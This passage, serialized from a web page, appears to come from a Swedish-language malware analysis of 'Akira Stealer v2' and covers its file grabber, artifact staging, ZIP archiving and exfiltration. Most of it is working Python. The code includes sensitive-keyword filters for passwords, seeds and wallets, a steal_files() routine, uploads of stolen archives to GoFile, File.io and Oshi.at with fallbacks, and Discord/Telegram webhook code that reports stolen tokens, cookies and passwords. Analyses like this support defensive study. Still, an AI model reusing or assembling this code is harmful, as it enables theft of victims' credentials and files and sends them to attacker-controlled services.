[\n",[1684,9542,9543],{"class":1686,"line":2063},[1684,9544,9545],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1684,9547,9548],{"class":1686,"line":2069},[1684,9549,9550],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1684,9552,9553],{"class":1686,"line":2075},[1684,9554,7924],{},[604,9556,9557,9573],{},[607,9558,9559,9562,9563,9566,9567,558,9570,586],{},[540,9560,9561],{},"Partial Matches",": Nyckelord som ",[551,9564,9565],{},"passw"," fångar både ",[551,9568,9569],{},"passwords.txt",[551,9571,9572],{},"passw_backup.docx",[607,9574,9575,9578],{},[540,9576,9577],{},"Broad Coverage",": Omfattar termer som rör autentisering, wallet, krypto och tokens.",[862,9580,9582],{"id":9581},"_7113-allowed-file-types","7.11.3 Allowed File Types",[533,9584,868],{},[533,9586,9587],{},"För att minimera brus tillämpas en vitlista av filändelser:",[588,9589,9591],{"className":4492,"code":9590,"language":4494,"meta":594,"style":594},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[551,9592,9593,9598,9603,9608],{"__ignoreMap":594},[1684,9594,9595],{"class":1686,"line":1687},[1684,9596,9597],{},"allowed_extensions = [\n",[1684,9599,9600],{"class":1686,"line":2063},[1684,9601,9602],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1684,9604,9605],{"class":1686,"line":2069},[1684,9606,9607],{},"    \".jpg\", \".png\"\n",[1684,9609,9610],{"class":1686,"line":2075},[1684,9611,7924],{},[862,9613,9615],{"id":9614},"_7113-size-constraint","7.11.3 Size Constraint",[533,9617,868],{},[533,9619,9620],{},"Filer större än 2 megabyte hoppas över för att optimera exfiltreringshastigheten och undvika stora överföringar:",[588,9622,9624],{"className":4492,"code":9623,"language":4494,"meta":594,"style":594},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[551,9625,9626,9631,9636],{"__ignoreMap":594},[1684,9627,9628],{"class":1686,"line":1687},[1684,9629,9630],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1684,9632,9633],{"class":1686,"line":2063},[1684,9634,9635],{},"if file_size_mb \u003C= 2:\n",[1684,9637,9638],{"class":1686,"line":2069},[1684,9639,9640],{},"    # eligible for copy\n",[862,9642,9644],{"id":9643},"_7114-recursive-scanning-copy-logic","7.11.4 Recursive Scanning & Copy Logic",[533,9646,868],{},[533,9648,9649],{},"När katalogerna med högt värde har identifierats inleder Akira en rekursiv skanningsrutin som traverserar undermappar och lokaliserar filer som matchar specifika nyckelord och filändelser. Denna fas är byggd för precision och smyghet: endast filer som matchar fördefinierade kriterier, som filnamn med känsliga nyckelord och godkända filtyper, beaktas. Logiken säkerställer att endast relevant, användargenererat innehåll exfiltreras. Den ignorerar systemfiler, cachar och binärer och begränsar storleken på enskilda filer till 2 MB för att minska uppladdningsstorlek och risk för upptäckt. Denna skanningsmetod är tyst, effektiv och optimerad för smygande datastöld i verkliga miljöer. Genom att kopiera matchande filer till en staging-mapp och föra en lista över vad som togs förbereder Akira innehållet för paketering och exfiltrering, samtidigt som duplicering och operativt brus minimeras.",[533,9651,9652,9653,9656],{},"Kärnrutinen ",[551,9654,9655],{},"steal_files()"," fungerar enligt följande:",[588,9658,9660],{"className":4492,"code":9659,"language":4494,"meta":594,"style":594},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[551,9661,9662,9666,9671,9676,9681,9685,9690,9695,9700,9705,9710,9715,9720,9725,9730,9735,9740,9745,9750,9755,9760,9765],{"__ignoreMap":594},[1684,9663,9664],{"class":1686,"line":1687},[1684,9665,4985],{},[1684,9667,9668],{"class":1686,"line":2063},[1684,9669,9670],{},"def steal_files():\n",[1684,9672,9673],{"class":1686,"line":2069},[1684,9674,9675],{},"    stolen_files = set()\n",[1684,9677,9678],{"class":1686,"line":2075},[1684,9679,9680],{},"    temp_folder = Utils.get_temp_folder()\n",[1684,9682,9683],{"class":1686,"line":2396},[1684,9684,3853],{"emptyLinePlaceholder":325},[1684,9686,9687],{"class":1686,"line":2402},[1684,9688,9689],{},"    for folder in searchFolders:\n",[1684,9691,9692],{"class":1686,"line":3060},[1684,9693,9694],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1684,9696,9697],{"class":1686,"line":3856},[1684,9698,9699],{},"        if os.path.exists(current_path):\n",[1684,9701,9702],{"class":1686,"line":3862},[1684,9703,9704],{},"            for root, _, files in os.walk(current_path):\n",[1684,9706,9707],{"class":1686,"line":4107},[1684,9708,9709],{},"                for file in files:\n",[1684,9711,9712],{"class":1686,"line":5033},[1684,9713,9714],{},"                    lower = file.lower()\n",[1684,9716,9717],{"class":1686,"line":5039},[1684,9718,9719],{},"                    # Keyword check\n",[1684,9721,9722],{"class":1686,"line":5045},[1684,9723,9724],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1684,9726,9727],{"class":1686,"line":5051},[1684,9728,9729],{},"                        ext = os.path.splitext(lower)[1]\n",[1684,9731,9732],{"class":1686,"line":5057},[1684,9733,9734],{},"                        # Extension and size check\n",[1684,9736,9737],{"class":1686,"line":5063},[1684,9738,9739],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1684,9741,9742],{"class":1686,"line":5069},[1684,9743,9744],{},"                            # Prepare destination\n",[1684,9746,9747],{"class":1686,"line":5075},[1684,9748,9749],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1684,9751,9752],{"class":1686,"line":5081},[1684,9753,9754],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1684,9756,9757],{"class":1686,"line":5087},[1684,9758,9759],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1684,9761,9762],{"class":1686,"line":5093},[1684,9763,9764],{},"                            stolen_files.add(file)\n",[1684,9766,9767],{"class":1686,"line":5099},[1684,9768,9769],{},"    data.stolen_files.extend(stolen_files)\n",[533,9771,9772],{},[540,9773,9774],{},"Key points:",[2083,9776,9777,9785,9794,9803,9809],{},[607,9778,9779,9784],{},[540,9780,9781],{},[551,9782,9783],{},"os.walk",": Går rekursivt ner i underkataloger.",[607,9786,9787,9790,9791,586],{},[540,9788,9789],{},"Case-insensitive matching",": Filnamn normaliseras via ",[551,9792,9793],{},"lower()",[607,9795,9796,9799,9800,9802],{},[540,9797,9798],{},"Atomic copy",": Använder ",[551,9801,7790],{}," för att bevara filinnehållet.",[607,9804,9805,9808],{},[540,9806,9807],{},"Set of stolen filenames",": Förhindrar dubbelkopior när samma fil förekommer två gånger.",[607,9810,9811,973,9816,9819],{},[540,9812,9813,9814],{},"Integration with ",[551,9815,9073],{},[551,9817,9818],{},"data.stolen_files"," samlar den stulna fillistan för senare rapportering.",[862,9821,9823],{"id":9822},"_7115-archiving-and-exfiltration","7.11.5 Archiving and Exfiltration",[533,9825,868],{},[533,9827,9828,9829,9832],{},"Efter insamlingen zippas ",[551,9830,9831],{},"Files","-mappen och skickas iväg:",[588,9834,9836],{"className":4492,"code":9835,"language":4494,"meta":594,"style":594},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[551,9837,9838,9843,9848,9852,9857,9862],{"__ignoreMap":594},[1684,9839,9840],{"class":1686,"line":1687},[1684,9841,9842],{},"# Archive\n",[1684,9844,9845],{"class":1686,"line":2063},[1684,9846,9847],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1684,9849,9850],{"class":1686,"line":2069},[1684,9851,3853],{"emptyLinePlaceholder":325},[1684,9853,9854],{"class":1686,"line":2075},[1684,9855,9856],{},"# Upload & Notify\n",[1684,9858,9859],{"class":1686,"line":2396},[1684,9860,9861],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1684,9863,9864],{"class":1686,"line":2402},[1684,9865,9866],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[604,9868,9869,9885],{},[607,9870,9871,9876,9877,620,9879,620,9881,9884],{},[540,9872,9873],{},[551,9874,9875],{},"zip_client_file()",": Komprimerar hela temp-katalogen, inklusive ",[551,9878,9831],{},[551,9880,6328],{},[551,9882,9883],{},"Passwords"," etc.",[607,9886,9887,9891,9892],{},[540,9888,9889],{},[551,9890,9054],{},": Postar nedladdningslänken via Telegram eller Discord-webhook och listar varje stulet filnamn:",[588,9893,9895],{"className":4492,"code":9894,"language":4494,"meta":594,"style":594},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[551,9896,9897,9902,9907,9912,9917],{"__ignoreMap":594},[1684,9898,9899],{"class":1686,"line":1687},[1684,9900,9901],{},"fields.append({\n",[1684,9903,9904],{"class":1686,"line":2063},[1684,9905,9906],{},"\"name\": \"📂 Files\",\n",[1684,9908,9909],{"class":1686,"line":2069},[1684,9910,9911],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1684,9913,9914],{"class":1686,"line":2075},[1684,9915,9916],{},"\"inline\": False\n",[1684,9918,9919],{"class":1686,"line":2396},[1684,9920,9921],{},"})\n",[533,9923,9924],{},[540,9925,9926],{},"Conclusion:",[533,9928,9929],{},"File Grabber i Akira Stealer v2 letar systematiskt efter känsliga dokument med hjälp av nyckelords- och filändelsefilter, respekterar en storleksgräns på 2 MB för effektivitet och konsoliderar stulna objekt i ett arkiv. Dess design säkerställer både bredd (flera mappar) och precision (riktade filter), vilket gör den till en av de mest impactfulla faserna i skadeprogrammets livscykel.",[714,9931,9933],{"id":9932},"_712-exfiltreringsstrategi","7.12 Exfiltreringsstrategi",[533,9935,720],{},[533,9937,9938],{},"Exfiltreringsmodulen hanterar skördade tokens och ytterligare artefakter (cookies, autofills, loggar) genom att stage:a dem i en strukturerad katalog, komprimera dem till ett arkiv, ladda upp till flera onlinefilvärdar och skicka detaljerade webhook-notifieringar. Detta avsnitt dekonstruerar varje steg med filsökvägar, domänendpoints och kodreferenser för full spårbarhet.",[862,9940,9942],{"id":9941},"_7121-directory-layout-filenames","7.12.1 Directory Layout & Filenames",[533,9944,868],{},[533,9946,9947],{},"Akira organiserar alla insamlade artefakter i en ren och hierarkisk temporär katalogstruktur. Denna design möjliggör effektiv paketering och enkel granskning efter exfiltrering hos angriparen. Varje datakategori, som Tokens, Cookies, Passwords eller Screenshots, lagras i sin egen undermapp under en rotsökväg uppkallad efter offrets dator (t.ex. DESKTOP1234). Denna strukturerade layout ger tydlighet, minimerar duplicering och effektiviserar arkiverings- och uppladdningsprocessen. Den gör också automatiserad tolkning eller manuell inspektion mycket enklare på angriparens sida.",[588,9949,9952],{"className":9950,"code":9951,"language":593},[591],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[551,9953,9951],{"__ignoreMap":594},[862,9955,9957],{"id":9956},"_7122-token-artifact-staging","7.12.2 Token & Artifact Staging",[533,9959,868],{},[533,9961,9962],{},"Före exfiltrering stage:ar Akira alla relevanta artefakter i motsvarande undermappar. Token-värden skrivs till exempel till enskilda .txt-filer för att underlätta snabb skanning och validering. Cookies, autofill-poster och lösenord skrivs på liknande sätt till strukturerade textfiler namngivna efter webbläsare. Detta steg standardiserar datalayouten och gör det möjligt för automatiserade verktyg att spåra vad som skördats. Det säkerställer också att zip-arkivet senare speglar ett förutsägbart och angriparvänligt format, oavsett vilka moduler som utlöstes.",[588,9964,9966],{"className":4492,"code":9965,"language":4494,"meta":594,"style":594},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[551,9967,9968,9973,9978,9983,9988,9993,9998,10003,10008,10013],{"__ignoreMap":594},[1684,9969,9970],{"class":1686,"line":1687},[1684,9971,9972],{},"import os, shutil\n",[1684,9974,9975],{"class":1686,"line":2063},[1684,9976,9977],{},"# Constants\n",[1684,9979,9980],{"class":1686,"line":2069},[1684,9981,9982],{},"TMP = os.getenv('TEMP')\n",[1684,9984,9985],{"class":1686,"line":2075},[1684,9986,9987],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1684,9989,9990],{"class":1686,"line":2396},[1684,9991,9992],{},"# Prepare structure\n",[1684,9994,9995],{"class":1686,"line":2402},[1684,9996,9997],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1684,9999,10000],{"class":1686,"line":3060},[1684,10001,10002],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1684,10004,10005],{"class":1686,"line":3856},[1684,10006,10007],{},"# Save token\n",[1684,10009,10010],{"class":1686,"line":3862},[1684,10011,10012],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1684,10014,10015],{"class":1686,"line":4107},[1684,10016,10017],{},"    f.write(token)\n",[604,10019,10020,10023],{},[607,10021,10022],{},"Tokens sparas i separata små textfiler för snabb inspektion.",[607,10024,10025,10026,10029,10030,586],{},"Cookie-dumpar från ",[551,10027,10028],{},"Chromium.GetCookies()"," skrivs till ",[551,10031,10032],{},"{Browser}_Cookies.txt",[862,10034,10036],{"id":10035},"_7133-zip-archive-creation","7.13.3 ZIP Archive Creation",[533,10038,868],{},[533,10040,10041,10042],{},"När staging är klar komprimerar Akira hela katalogen till ett enda ZIP-arkiv. Arkivets filnamn följer en konsekvent namnkonvention: ",[10043,10044,10045,10046],"computer-name",{},"_",[10047,10048,10049],"timestamp",{},".zip, med värdens datornamn och en UTC-tidsstämpel i ISO 8601-format. Detta säkerställer både unikhet och kronologisk spårbarhet. Genom att gå igenom hela staging-katalogen rekursivt bevaras varje fil i sin relativa struktur inuti ZIP-arkivet. Detta format förenklar massuthämtning och inspektion för angripare, särskilt om hundratals offer komprometteras parallellt.",[588,10051,10053],{"className":4492,"code":10052,"language":4494,"meta":594,"style":594},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[551,10054,10055,10060,10064,10069,10074,10079,10084,10089,10094,10099,10104,10109,10114],{"__ignoreMap":594},[1684,10056,10057],{"class":1686,"line":1687},[1684,10058,10059],{},"import zipfile, datetime\n",[1684,10061,10062],{"class":1686,"line":2063},[1684,10063,3853],{"emptyLinePlaceholder":325},[1684,10065,10066],{"class":1686,"line":2069},[1684,10067,10068],{},"def create_archive(root_dir: str) -> str:\n",[1684,10070,10071],{"class":1686,"line":2075},[1684,10072,10073],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1684,10075,10076],{"class":1686,"line":2396},[1684,10077,10078],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1684,10080,10081],{"class":1686,"line":2402},[1684,10082,10083],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1684,10085,10086],{"class":1686,"line":3060},[1684,10087,10088],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1684,10090,10091],{"class":1686,"line":3856},[1684,10092,10093],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1684,10095,10096],{"class":1686,"line":3862},[1684,10097,10098],{},"            for fname in files:\n",[1684,10100,10101],{"class":1686,"line":4107},[1684,10102,10103],{},"                full = os.path.join(dirpath, fname)\n",[1684,10105,10106],{"class":1686,"line":5033},[1684,10107,10108],{},"                rel = os.path.relpath(full, root_dir)\n",[1684,10110,10111],{"class":1686,"line":5039},[1684,10112,10113],{},"                zf.write(full, rel)\n",[1684,10115,10116],{"class":1686,"line":5045},[1684,10117,10118],{},"    return zip_path\n",[604,10120,10121],{},[607,10122,10123,10124,10127],{},"Arkivet namnges ",[551,10125,10126],{},"DESKTOP1234_20250505T123456Z.zip"," för värdkoherens.",[533,10129,10130],{},[540,10131,10132],{},"ZIP Filename Convention",[533,10134,10135],{},"Arkivet namnges med den komprometterade värdens datornamn följt av en UTC-tidsstämpel i ISO-format, vilket säkerställer unikhet och kronologisk ordning.",[588,10137,10139],{"className":4492,"code":10138,"language":4494,"meta":594,"style":594},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[551,10140,10141,10146,10150,10154,10159,10163,10168,10172,10176],{"__ignoreMap":594},[1684,10142,10143],{"class":1686,"line":1687},[1684,10144,10145],{},"import datetime, os\n",[1684,10147,10148],{"class":1686,"line":2063},[1684,10149,3853],{"emptyLinePlaceholder":325},[1684,10151,10152],{"class":1686,"line":2069},[1684,10153,10068],{},[1684,10155,10156],{"class":1686,"line":2075},[1684,10157,10158],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1684,10160,10161],{"class":1686,"line":2396},[1684,10162,10073],{},[1684,10164,10165],{"class":1686,"line":2402},[1684,10166,10167],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1684,10169,10170],{"class":1686,"line":3060},[1684,10171,10078],{},[1684,10173,10174],{"class":1686,"line":3856},[1684,10175,10083],{},[1684,10177,10178],{"class":1686,"line":3862},[1684,10179,10118],{},[533,10181,10135],{},[862,10183,10185],{"id":10184},"_7144-upload-workflow","7.14.4 Upload Workflow",[533,10187,868],{},[533,10189,10190],{},"Akira använder en trestegsstrategi för uppladdning för att maximera chansen till lyckad dataexfiltrering. Den försöker först ladda upp arkivet till GoFile.io via deras publika API, som returnerar en nedladdningslänk. Om GoFile inte är tillgängligt eller blockeras faller den tillbaka på File.io och sedan Oshi.at, vilket säkerställer att data alltid överförs. Dessa tjänster erbjuder anonym, kortlivad hosting, vilket gör nedtagning och spårbarhet svår. Skriptet fångar den slutliga nedladdnings-URL:en och förbereder den för webhook-leverans.",[2083,10192,10193,10225,10251],{},[607,10194,10195,10198],{},[540,10196,10197],{},"Primary: GoFile.io",[604,10199,10200,10208,10216],{},[607,10201,10202,973,10205],{},[540,10203,10204],{},"API to fetch servers",[551,10206,10207],{},"GET https://api.gofile.io/servers",[607,10209,10210,973,10213],{},[540,10211,10212],{},"Upload endpoint",[551,10214,10215],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[607,10217,10218,973,10221,10224],{},[540,10219,10220],{},"Response field",[551,10222,10223],{},"data.downloadPage"," innehåller den slutliga URL:en.",[607,10226,10227,10230],{},[540,10228,10229],{},"Fallback #1: File.io",[604,10231,10232,10242],{},[607,10233,10234,973,10236,1257,10239],{},[540,10235,10212],{},[551,10237,10238],{},"POST https://file.io/",[551,10240,10241],{},"files={'file': open(...)}",[607,10243,10244,10247,10248,586],{},[540,10245,10246],{},"Response",": JSON-fältet ",[551,10249,10250],{},"link",[607,10252,10253,10256],{},[540,10254,10255],{},"Fallback #2: Oshi.at",[604,10257,10258,10272],{},[607,10259,10260,973,10262,1257,10265,10268,10269,586],{},[540,10261,10212],{},[551,10263,10264],{},"POST http://oshi.at/",[551,10266,10267],{},"files[]"," och parametrarna ",[551,10270,10271],{},"expire=43200, autodestroy=0",[607,10273,10274,10276,10277,586],{},[540,10275,10246],{},": Klartext som innehåller ",[551,10278,10279],{},"DL: \u003Curl>",[533,10281,10282],{},[540,10283,10284],{},"Implementation Snippet:",[588,10286,10288],{"className":4492,"code":10287,"language":4494,"meta":594,"style":594},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[551,10289,10290,10295,10299,10304,10309,10313,10318,10323,10328,10333,10338,10343,10348,10353,10358,10363,10368,10372,10377,10382,10386,10391,10395,10400,10405,10409],{"__ignoreMap":594},[1684,10291,10292],{"class":1686,"line":1687},[1684,10293,10294],{},"import requests\n",[1684,10296,10297],{"class":1686,"line":2063},[1684,10298,3853],{"emptyLinePlaceholder":325},[1684,10300,10301],{"class":1686,"line":2069},[1684,10302,10303],{},"def upload_with_fallback(zip_path):\n",[1684,10305,10306],{"class":1686,"line":2075},[1684,10307,10308],{},"    # GoFile\n",[1684,10310,10311],{"class":1686,"line":2396},[1684,10312,5148],{},[1684,10314,10315],{"class":1686,"line":2402},[1684,10316,10317],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1684,10319,10320],{"class":1686,"line":3060},[1684,10321,10322],{},"        for srv in servers:\n",[1684,10324,10325],{"class":1686,"line":3856},[1684,10326,10327],{},"            try:\n",[1684,10329,10330],{"class":1686,"line":3862},[1684,10331,10332],{},"                r = requests.post(\n",[1684,10334,10335],{"class":1686,"line":4107},[1684,10336,10337],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1684,10339,10340],{"class":1686,"line":5033},[1684,10341,10342],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1684,10344,10345],{"class":1686,"line":5039},[1684,10346,10347],{},"                url = r.json()['data']['downloadPage']\n",[1684,10349,10350],{"class":1686,"line":5045},[1684,10351,10352],{},"                if url: return url\n",[1684,10354,10355],{"class":1686,"line":5051},[1684,10356,10357],{},"            except: continue\n",[1684,10359,10360],{"class":1686,"line":5057},[1684,10361,10362],{},"    except: pass\n",[1684,10364,10365],{"class":1686,"line":5063},[1684,10366,10367],{},"    # File.io\n",[1684,10369,10370],{"class":1686,"line":5069},[1684,10371,5148],{},[1684,10373,10374],{"class":1686,"line":5075},[1684,10375,10376],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1684,10378,10379],{"class":1686,"line":5081},[1684,10380,10381],{},"        return r.json().get('link','')\n",[1684,10383,10384],{"class":1686,"line":5087},[1684,10385,10362],{},[1684,10387,10388],{"class":1686,"line":5093},[1684,10389,10390],{},"    # Oshi.at\n",[1684,10392,10393],{"class":1686,"line":5099},[1684,10394,5148],{},[1684,10396,10397],{"class":1686,"line":5105},[1684,10398,10399],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1684,10401,10402],{"class":1686,"line":5111},[1684,10403,10404],{},"        return text.split('DL: ')[1].strip()\n",[1684,10406,10407],{"class":1686,"line":5117},[1684,10408,10362],{},[1684,10410,10411],{"class":1686,"line":5784},[1684,10412,10413],{},"    return ''\n",[862,10415,10417],{"id":10416},"_7155-webhook-alerts-attacker-retrieval-analyst-visibility-limits","7.15.5 Webhook Alerts, Attacker Retrieval & Analyst Visibility Limits",[533,10419,868],{},[533,10421,10422],{},"Efter att ZIP-arkivet laddats upp skickar Akira en webhook-notifiering, vanligtvis till Discord eller Telegram, med en strukturerad embed som innehåller detaljerad information: antal stulna tokens, cookie-antal, filstorlek och en klickbar nedladdningslänk. Detta ger angripare omedelbar återkoppling och åtkomst till uthämtning. För att säkerställa tillförlitlighet skickas även ett fallback-meddelande i klartext som bara innehåller arkivlänken. Denna redundans garanterar leverans, även om embeden blockeras av plattformen eller filtreras bort. Ur försvararens perspektiv är denna kommunikation ofta osynlig om inte utgående nätverksövervakning finns på plats.",[533,10424,10425],{},[540,10426,10427],{},"Embed Notification",[588,10429,10431],{"className":4492,"code":10430,"language":4494,"meta":594,"style":594},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[551,10432,10433,10438,10443,10448,10453,10458,10463,10468,10473,10477,10482,10487,10492,10496],{"__ignoreMap":594},[1684,10434,10435],{"class":1686,"line":1687},[1684,10436,10437],{},"# Build embed with key metadata\n",[1684,10439,10440],{"class":1686,"line":2063},[1684,10441,10442],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1684,10444,10445],{"class":1686,"line":2069},[1684,10446,10447],{},"fields = [\n",[1684,10449,10450],{"class":1686,"line":2075},[1684,10451,10452],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1684,10454,10455],{"class":1686,"line":2396},[1684,10456,10457],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1684,10459,10460],{"class":1686,"line":2402},[1684,10461,10462],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1684,10464,10465],{"class":1686,"line":3060},[1684,10466,10467],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1684,10469,10470],{"class":1686,"line":3856},[1684,10471,10472],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1684,10474,10475],{"class":1686,"line":3862},[1684,10476,7924],{},[1684,10478,10479],{"class":1686,"line":4107},[1684,10480,10481],{},"payload = {\n",[1684,10483,10484],{"class":1686,"line":5033},[1684,10485,10486],{},"    'username':'Akira 💊',\n",[1684,10488,10489],{"class":1686,"line":5039},[1684,10490,10491],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1684,10493,10494],{"class":1686,"line":5045},[1684,10495,2405],{},[1684,10497,10498],{"class":1686,"line":5051},[1684,10499,10500],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[604,10502,10503,10509],{},[607,10504,10505,10508],{},[540,10506,10507],{},"Delivery",": Skickas till angriparens Discord-/Telegram-kanal.",[607,10510,10511,10514,10515,10518],{},[540,10512,10513],{},"Embed Link",": Innehåller en klickbar ",[551,10516,10517],{},"download_url"," som pekar på ZIP-filen på GoFile (eller en fallback-värd).",[533,10520,10521],{},[540,10522,10523],{},"Raw Link Fallback",[588,10525,10527],{"className":4492,"code":10526,"language":4494,"meta":594,"style":594},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[551,10528,10529,10534,10539],{"__ignoreMap":594},[1684,10530,10531],{"class":1686,"line":1687},[1684,10532,10533],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1684,10535,10536],{"class":1686,"line":2063},[1684,10537,10538],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1684,10540,10541],{"class":1686,"line":2069},[1684,10542,10543],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[604,10545,10546],{},[607,10547,10548,10551],{},[540,10549,10550],{},"Plain Text",": Garanterar att länken levereras om embeds blockeras eller tyst slängs.",[533,10553,10554],{},[540,10555,10556],{},"How the Attacker Retrieves the Link",[533,10558,10559,10562],{},[540,10560,10561],{},"1. 